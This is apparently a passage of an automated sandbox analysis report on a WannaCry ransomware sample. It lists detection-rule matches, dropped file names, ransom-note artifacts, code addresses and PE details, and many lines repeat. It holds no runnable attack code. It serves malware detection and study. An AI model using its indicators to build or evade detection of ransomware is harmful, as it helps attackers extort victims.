                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exeProcess Stats: CPU usage > 6%
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00411CF031_2_00411CF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040B0C031_2_0040B0C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040A15031_2_0040A150
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040A9D031_2_0040A9D0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0041018031_2_00410180
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040B3C031_2_0040B3C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040FBC031_2_0040FBC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0041046031_2_00410460
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040ADC031_2_0040ADC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040A61031_2_0040A610
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040DF3031_2_0040DF30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_00406F8031_2_00406F80
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 31_2_0040FF9031_2_0040FF90
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040B0C034_2_0040B0C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040A15034_2_0040A150
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040A9D034_2_0040A9D0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0041018034_2_00410180
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040B3C034_2_0040B3C0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040FBC034_2_0040FBC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0041046034_2_00410460
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00411CF034_2_00411CF0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040ADC034_2_0040ADC0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040A61034_2_0040A610
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040DF3034_2_0040DF30
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_00406F8034_2_00406F80
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 34_2_0040FF9034_2_0040FF90
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F915F1742_2_6F915F17
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91332942_2_6F913329
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91375E42_2_6F91375E
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91DF4E42_2_6F91DF4E
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91DAA042_2_6F91DAA0
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F912ADC42_2_6F912ADC
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F912EF442_2_6F912EF4
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F9125E042_2_6F9125E0
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F92453142_2_6F924531
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F91614642_2_6F916146
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: 42_2_6F915CE842_2_6F915CE8
                  Source: C:\Windows\SysWOW64\wbem\WMIC.exeCode function: String function: 6F9122A0 appears 31 times
                  Source: LisectAVT_2403002A_126.EXE.exeStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract, compression method=deflate
                  Source: taskdl.exe.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
                  Source: libeay32.dll.31.drStatic PE information: Number of sections : 18 > 10
                  Source: libevent_extra-2-0-5.dll.31.drStatic PE information: Number of sections : 17 > 10
                  Source: libgcc_s_sjlj-1.dll.31.drStatic PE information: Number of sections : 17 > 10
                  Source: libssp-0.dll.31.drStatic PE information: Number of sections : 17 > 10
                  Source: libevent_core-2-0-5.dll.31.drStatic PE information: Number of sections : 17 > 10
                  Source: ssleay32.dll.31.drStatic PE information: Number of sections : 18 > 10
                  Source: libevent-2-0-5.dll.31.drStatic PE information: Number of sections : 17 > 10
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.882205706.0000000000AD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.890589272.0000000000AE1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1376826928.0000000000B07000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1171288233.0000000000B06000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1843993225.0000000000B0F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.872152587.0000000000AD3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.859863996.0000000002633000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.1844791357.0000000000B0F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, 00000000.00000003.859735110.0000000002648000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameLODCTR.EXEj% vs LisectAVT_2403002A_126.EXE.exe
                  Source: LisectAVT_2403002A_126.EXE.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe
                  Source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
                  Source: LisectAVT_2403002A_126.EXE.exe, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
                  Source: 34.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 31.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 34.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 31.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 46.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 46.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
                  Source: 0.0.LisectAVT_2403002A_126.EXE.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
                  Source: 00000000.00000000.849626717.000000000040E000.00000008.00000001.01000000.00000003.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
                  Source: C:\Users\user\Desktop\109861721946031.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
